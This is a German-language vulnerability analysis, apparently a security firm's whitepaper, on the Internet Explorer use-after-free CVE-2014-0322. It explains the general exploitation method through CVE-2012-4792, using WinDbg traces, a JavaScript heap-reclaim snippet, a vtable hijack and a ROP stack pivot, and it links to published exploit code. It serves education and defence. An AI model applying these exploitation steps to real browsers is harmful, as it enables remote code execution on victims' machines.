Use-After-Free einmal anders - Teil I

CVE-2014-0322

Februar, 2014

Klassifikation:
Öffentliche Version

IOprotect GmbH
Huobstrasse 14
8808 Pfäffikon SZ
+41 (0)44 533 00 05
info@ioprotect.ch
www.ioprotect.ch

Inhaltsverzeichnis

1 Einleitung

Viele der zuletzt aufgetauchten Sicherheitslücken im Internet Explorer gehören der Klasse der Use-After-Free Schwachstellen an. Die kürzlich aufgetauchte und bis anhin ungepatchte[1] Schwachstelle in Internet Explorer 9 und 10 (CVE-2014-0322) ist jedoch spezieller Natur. Zwar handelt es sich hierbei ebenfalls um eine Use-After-Free-Lücke, jedoch kann man lediglich ein Byte inkrementieren, mehr nicht. Dennoch reicht dies aus, um die Kontrolle über den Prozess zu erlangen und bösartigen Code auszuführen. Zudem nutzten die Angreifer in diesem Fall eine Kombination von HTML-, Flash- und JPG-Dateien, was auch zu Schwierigkeiten bei der Detektierung durch Antiviren-Software oder Analysetools führt.

Im Folgenden wird dieser interessante Fall in zwei Teilen beleuchtet. Das vorliegende Dokument (Teil I) befasst sich mit den Exploit-Komponenten und den Grundlagen von Use-After-Free Schwachstellen. Im zweiten Teil wird auf die spezifische Schwachstelle näher eingegangen.

[1] Ein Fix-It steht zur Verfügung unter: https://support.microsoft.com/kb/2934088#FixItForMe

2 Die Exploit-Komponenten

Gemäss Microsoft[2] sind die Internet Explorer Versionen 9 und 10 betroffen, wobei der bekannt gewordene Exploit nur bei IE10 funktioniert. Ein Patch ist noch nicht verfügbar, jedoch hat Microsoft ein Fix-It bereitgestellt. Der Exploit-Code wurde in der Zwischenzeit auf mehreren Webseiten publiziert[3]. Eine gute Analyse ist auf dem Blog der Firma FireEye zu finden[4].

Der aktuelle Angriff basiert auf mehreren Komponenten:

- Eine HTML-Datei, welche die Schwachstelle im Internet Explorer triggert.
- Eine Flashdatei, die den Grossteil des Angriffs ausführt und unter anderem dafür sorgt, dass die Angreifer die Schutzmechanismen DEP und ASLR umgehen können.
- Eine JPG-Datei, die den eigentlichen Schadcode beinhaltet.

Die Schwachstelle wird an sich mit dem JavaScript-Code in der HTML-Komponenten getriggert, jedoch nicht unabhängig von den anderen beiden Komponenten. Vielmehr wird die entsprechende Funktion *puIHa3()* von der Flashdatei aufgerufen, wie im folgenden Ausschnitt zu sehen ist. Dieser stammt von der Flashdatei:

```
...
if (ExternalInterface.available){
    ExternalInterface.call("puIHa3", this.org);
    ExternalInterface.call("puIHa3", this.org);
};
...
```

Wird lediglich die HTML-Datei bei der Analyse ausgeführt (ohne die beiden anderen Dateien ebenfalls zu besitzen), passiert nichts. Das ist auch der Grund, weshalb automatisierte Analyse-Seiten wie beispielsweise jsunpack.jeek.org das Script nicht direkt als bösartig erkennen. Auch die nachgeladene JPG-Datei wird nicht als bösartig erkannt. Darin befinden sich zwei ausführbare Dateien, wie später noch aufgezeigt wird.

[2] http://blogs.technet.com/b/srd/archive/2014/02/19/fix-it-tool-available-to-block-internet-explorer-attacks-leveraging-cve-2014-0322.aspx

[3] http://pastebin.com/b71QddzW

[4] http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html

3 Use-After-Free Schwachstellen

Bei der Schwachstelle handelt es sich wie erwähnt um ein Use-After-Free. Vereinfacht formuliert wird vom Internet Explorer Prozess ein vorgängig genutzter Speicherbereich zunächst freigegeben (beispielsweise ein CButton-Element). Aufgrund eines Programmierfehlers wird jedoch im späteren Programmablauf - unter der Annahme, es handle sich immer noch um das CButton-Element - wieder auf denselben Speicherbereich zugegriffen. Dieser ist jedoch unterdessen in einem unbekannten Zustand, was zum Crash des Programms führen kann.

Gelingt es nun einem Angreifer, den betroffenen Speicherbereich nach dessen Freigabe und vor dem erneuten Zugriff darauf zu allozieren und mit eigenen Daten auszustatten, ist die Kontrolle über den weiteren Programmablauf möglich. Eine Use-After-Free Schwachstelle wird wie folgt ausgenutzt:

- Der verwundbare Prozess (Internet Explorer in diesem Fall) erzeugt ein Objekt und alloziert den dafür benötigten Speicherbereich A. Das Objekt wird genutzt und im späteren Verlauf freigegeben. Damit wird auch der Speicherbereich A wieder freigegeben.
- Ein Angreifer alloziert jetzt den Speicherbereich B, der dieselbe Grösse aufweist wie A. Im Idealfall wird somit der freigewordene Bereich von A mit dem Inhalt von B belegt. Damit der Angreifer auch wirklich den freigewordenen Speicherbereich A allozieren kann, erzeugt er sicherheitshalber meist mehrere Speicherblöcke derselben Grösse.
- Durch einen Programmierfehler greift der Prozess wieder auf den Speicherbereich A zu und ruft dort beispielsweise eine virtuelle Funktion des erwarteten Objektes auf. Allerdings ist der Bereich in der Zwischenzeit mit Inhalten des Angreifers überschrieben worden. Dieser kontrolliert damit die aufzurufende Adresse und damit den weiteren Programmablauf.

Zum besseren Verständnis wird dieser Vorgang am Beispiel CVE-2012-4792 aufgezeigt. Dabei handelt es sich ebenfalls um eine Use-After-Free Schwachstelle, die unter anderem den Internet Explorer 8 betraf. Das freigegebene Objekt war in diesem Fall ein CButton-Objekt. Eine sehr gute Analyse der Schwachstelle stammt von Peter Vreugdenhil von Exodus Intelligence [5]. Dort ist auch der Code zu finden, der die Schwachstelle triggert.

[5] http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/

Im Folgenden wird der Ablauf eines erfolgreichen Exploits Schritt für Schritt mit WinDbg aufgezeigt. Der Fokus liegt dabei auf dem involvierten Objekt bzw. Speicherbereich und wie darauf in welcher Reihenfolge zugegriffen wird, und nicht auf dem eigentlichen Exploit-Code. Dieser kann entweder von Metasploit oder dem Blogeintrag von Peter Vreugdenhil bezogen werden und kann sich im hier aufgezeigten Verhalten (involvierte Adressen, involvierte ROP-Gadgets, etc.) unterscheiden. Das Prinzip ist jedoch dasselbe.

Zum Triggern der Schwachstelle wird zuerst das CButton-Element erzeugt und der dafür notwendige Speicher alloziert. Ein Breakpunkt bei mshtml!CButton::CreateElement zeigt dies:

```
1:020> bp mshtml!CButton::CreateElement
1:020> g
Breakpoint 5 hit
eax=68953f11 ebx=686e8058 ecx=024f9a30 edx=00389870 esi=011e1f8c edi=024f9a50
eip=68953f11 esp=024f99f8 ebp=024f9a20 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CButton::CreateElement:
68953f11 8bff            mov     edi,edi
1:020> pc
eax=68953f11 ebx=686e8058 ecx=024f9a30 edx=00389870 esi=011e1f8c edi=024f9a50
eip=68953f21 esp=024f99e4 ebp=024f99f4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CButton::CreateElement+0x10:
68953f21 ff1504135368    call    dword ptr [mshtml!_imp__HeapAlloc (68531304)]
ds:0023:68531304={ntdll!RtlAllocateHeap (775d1f25)}
```

Nach dem Aufruf von HeapAlloc zeigt das eax-Register an den Beginn des allozierten Speicherbereichs, der jedoch noch keine Daten des Elements aufweist:

```
1:020> dd eax
0034c940  00000000 00000000 00000000 00000000
0034c950  00000000 00000000 00000000 00000000
0034c960  00000000 00000000 00000000 00000000
0034c970  00000000 00000000 00000000 00000000
...
...
1:020> !heap -p -a 0034c940
    address 0034c940 found in
    _HEAP @ 2d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0034c938 000c 0000  [00]   0034c940    00058 - (busy)
```

Durch Setzen eines Breakpoints (write) ist einfach nachvollziehbar, was mit diesem Speicherbereich in der Folge passiert:

```
1:020> ba w4 0034c940
1:020> g
```

```
Breakpoint 6 hit
...
mshtml!CButton::CreateElement+0x4d:
68953f5e c746287c4e6f68  mov     dword ptr [esi+28h],offset
mshtml!CButton::`vftable' (686f4e7c)
ds:0023:0034c968={mshtml!CBtnHelper::`vftable' (686f4e6c)}

1:020> !heap -p -a 0034c940
    address 0034c940 found in
    _HEAP @ 2d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0034c938 000c 0000  [00]   0034c940    00058 - (busy)
          mshtml!CButton::`vftable'
```

Es ist ersichtlich, dass es sich um ein CButton-Element der Grösse 0x58 handelt. Der erste Eintrag im allozierten Speicherbereich mit der Adresse 0x0034c940 ist die VTable-Adresse (auch VFTable genannt):

```
1:020> dd 0034c940
0034c940  68536670 00000001 00000008 00000000
0034c950  00000000 00000000 00000012 00084000
0034c960  00000000 003601d8 686f4e6c 00000000
0034c970  00000000 00000000 00000000 00000000
...
```

Diese zeigt auf die virtuellen Funktionen des Objekts:

```
1:020> u 68536670
mshtml!CButton::`vftable':
1:020> dds 68536670 l100
68536670  6873e2e8 mshtml!CTxtSite::PrivateQueryInterface
68536674  686ec393 mshtml!CElement::PrivateAddRef
68536678  686ec3b6 mshtml!CElement::PrivateRelease
6853667c  68953df3 mshtml!CButton::`vector deleting destructor'
68536680  686748f1 mshtml!CSite::Init
68536684  68750852 mshtml!CElement::Passivate
68536688  686ebc75 mshtml!CBase::IsRootObject
6853668c  68787bee mshtml!CBase::EnumerateTrackedReferences
68536690  68852b4a mshtml!CBase::SetTrackedState
68536694  686355a3 mshtml!CElement::GetInlineStylePtr
68536698  68716389 mshtml!CElement::GetRuntimeStylePtr
6853669c  688eda43 mshtml!CBase::VersionedGetIDsOfNames
685366a0  68878b2d mshtml!CElement::VersionedInvoke
685366a4  6876bf1b mshtml!CElement::VersionedGetDispID
685366a8  6876bffc mshtml!CElement::VersionedInvokeEx
...
```

Im späteren Programmablauf wird das CButton-Element freigegeben und damit auch der Speicherbereich 0x0034c940:

```
68953e1c ff1500135368    call    dword ptr [mshtml!_imp__HeapFree (68531300)]
ds:0023:68531300={kernel32!HeapFree (7771f138)}
1:020> dd esp
024f9cc4  002d0000 00000000 0034c940 0034c940
024f9cd4  024f9cec 686f7d50 00000001 686f7d36
```

Nach dem Aufruf von HeapFree ist der Bereich freigegeben, wie der Auszug unten zeigt:

```
1:020> !heap -p -a 0034c940
    address 0034c940 found in
    _HEAP @ 2d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0034c938 000c 0000  [00]   0034c940    00058 - (free)
```

Ab hier kann ein Angreifer den so freigewordenen Speicher neu allozieren und mit eigenen Daten bestücken. Wichtig ist, dass er dabei die Grösse von 0x58 einhält, um den freigewordenen Bereich auch wirklich zu allozieren. Dies kann beispielsweise mit folgendem JavaScript-Code erfolgen:

```
var vt =
"\u0024\u0b0b\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\
u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4
141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u414
1\u4141\u4141";

var p = new Array();
for (var i = 0; i < 20; i++) {
    p.push(document.createElement('div'));
    p[i].className = vt;
}
```

Durch Setzen von *className* mit einem String der entsprechenden Grösse wird dies möglich, wie das spätere Erreichen des gesetzten Breakpunktes zeigt:

```
1:020> g
Breakpoint 5 hit
eax=0035189a ebx=00351844 ecx=00000014 edx=00000002 esi=00351848 edi=0034c944
eip=759d9b60 esp=024f99ec ebp=024f99f4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
msvcrt!memcpy+0x5a:
759d9b60 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

1:020> dd 0034c940
0034c940  0b0b0024 41414141 41414141 41414141
0034c950  41414141 41414141 41414141 41414141
0034c960  41414141 41414141 41414141 41414141
0034c970  41414141 41414141 41414141 41414141
...
```

Tatsächlich befindet sich im freigewordenen Speicherbereich (0x0034c940) nun der vom Angreifer kontrollierte Inhalt. Der erste Eintrag stellt die VTable-Adresse dar, die nun ebenfalls auf einen vom Angreifer kontrollierten Bereich zeigt (via Heapspray):

```
1:020> dd 0b0b0024
0b0b0024  7c3410c2 0b0b004c 7c348b05 7c3410fd
0b0b0034  0b0b004c 7c3528dd 0b0b0024 00010000
0b0b0044  00000040 0a0a0024 42434041 0b0b0134
0b0b0054  46474445 4a4b4849 4e4f4c4d 52535051
0b0b0064  56575455 5a5b5859 5e5f5c5d 62636061
...
```

Hierbei handelt es sich um Instruktionen des Angreifers. Lässt man das Programm weiterlaufen, wird der Breakpunkt erneut erreicht. Diesmal wird der Wert von [edi] in eax geladen. Anbei ist der entsprechende Codeausschnitt:

```
686dc9ce 8b07            mov     eax,dword ptr [edi]
686dc9d0 57              push    edi
686dc9d1 8975c4          mov     dword ptr [ebp-3Ch],esi
686dc9d4 8975d4          mov     dword ptr [ebp-2Ch],esi
686dc9d7 8975dc          mov     dword ptr [ebp-24h],esi
686dc9da 8975d8          mov     dword ptr [ebp-28h],esi
686dc9dd 8975e0          mov     dword ptr [ebp-20h],esi
686dc9e0 8975e4          mov     dword ptr [ebp-1Ch],esi
686dc9e3 ff90dc000000    call    dword ptr [eax+0DCh]
...
686dc9e3 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:0b0b0100=7c348b05
```

und entsprechend im Debugger:

```
1:020> g
Breakpoint 6 hit
eax=0b0b0024 ebx=00366b88 ecx=00000052 edx=00000000 esi=00000000 edi=0034c940
eip=686dc9d0 esp=024fcff0 ebp=024fd044 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CMarkup::OnLoadStatusDone+0x4d2:
686dc9d0 57              push    edi
1:020> dd edi
0034c940  0b0b0024 41414141 41414141 41414141
0034c950  41414141 41414141 41414141 41414141
0034c960  41414141 41414141 41414141 41414141
0034c970  41414141 41414141 41414141 41414141
0034c980  41414141 41414141 41414141 41414141
0034c990  41414141 00000000 3d5f2e01 8e000000
...
1:020> reax
eax=0b0b0024
```

Beim *call dword ptr [eax+0DCh]* wird schliesslich die vom Angreifer kontrollierte Adresse (0x0b0b0024) genutzt. Der Instruktion-Pointer eip springt an die Adresse, die sich an der Position [eax+0DCh] befindet. Dabei handelt es sich um die Adresse 7c348b05:

```
1:020> t
eax=0b0b0024 ebx=00366b88 ecx=00000052 edx=00000000 esi=00000000 edi=0034c940
eip=7c348b05 esp=024fcfe8 ebp=024fd044 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSVCR71!wparse_cmdline+0x40:
7c348b05 94              xchg    eax,esp
```

Diese Adresse verweist auf eine Instruktion in einer Java-DLL (die nicht ASLR-kompatibel ist) und ermöglicht es via Return-oriented Programming (ROP) DEP zu umgehen und den Code des Angreifers schliesslich auszuführen.

So läuft vereinfacht dargestellt das Ausnutzen einer Use-After-Free Schwachstelle ab. Im zweiten Teil wird spezifisch auf die Schwachstelle CVE-2014-0322 eingegangen und aufgezeigt, wie sich diese zu den herkömmlichen Use-After-Free Schwachstellen unterscheidet.